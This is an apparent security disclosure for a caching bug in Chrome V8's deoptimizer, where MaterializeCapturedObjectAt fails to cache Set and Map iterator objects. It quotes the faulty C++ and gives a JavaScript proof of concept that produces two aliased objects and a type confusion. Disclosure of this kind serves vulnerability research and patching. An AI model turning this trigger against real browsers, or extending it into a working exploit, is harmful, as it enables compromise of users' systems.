Chrome V8 TranslatedState::MaterializeCapturedObjectAt Caching Bug

`Chrome: V8: TranslatedState::MaterializeCapturedObjectAt caching bug   
  
  
  
  
Here'a snippet of TranslatedState::MaterializeCapturedObjectAt.  
case JS_SET_KEY_VALUE_ITERATOR_TYPE:  
case JS_SET_VALUE_ITERATOR_TYPE: {  
Handle<JSSetIterator> object = Handle<JSSetIterator>::cast(  
isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));  
Handle<Object> properties = materializer.FieldAt(value_index);  
Handle<Object> elements = materializer.FieldAt(value_index);  
Handle<Object> table = materializer.FieldAt(value_index);  
Handle<Object> index = materializer.FieldAt(value_index);  
object->set_raw_properties_or_hash(*properties);  
object->set_elements(FixedArrayBase::cast(*elements));  
object->set_table(*table);  
object->set_index(*index);  
return object;  
}  
case JS_MAP_KEY_ITERATOR_TYPE:  
case JS_MAP_KEY_VALUE_ITERATOR_TYPE:  
case JS_MAP_VALUE_ITERATOR_TYPE: {  
Handle<JSMapIterator> object = Handle<JSMapIterator>::cast(  
isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));  
Handle<Object> properties = materializer.FieldAt(value_index);  
Handle<Object> elements = materializer.FieldAt(value_index);  
Handle<Object> table = materializer.FieldAt(value_index);  
Handle<Object> index = materializer.FieldAt(value_index);  
object->set_raw_properties_or_hash(*properties);  
object->set_elements(FixedArrayBase::cast(*elements));  
object->set_table(*table);  
object->set_index(*index);  
return object;  
}  
  
For these 5 types, it doesn't cache the created objects like "slot->value_ = object". This can be used to create different objects but sharing the same properties which may lead to type confusion.  
  
PoC:  
function opt(b) {  
let iterator = new Set().values();  
iterator.x = 0;  
  
let arr = [iterator, iterator];  
if (b)  
return arr.slice();  
}  
  
for (let i = 0; i < 100000; i++)  
opt(false);  
  
let res = opt(true);  
let a = res[0];  
let b = res[1];  
  
print(a === b); // false  
a.x = 7;  
  
print(b.x); // 7  
  
a.a = 1.1; // transition  
b.b = 0x1234;  
a.a = 1.1; // type confusion  
  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`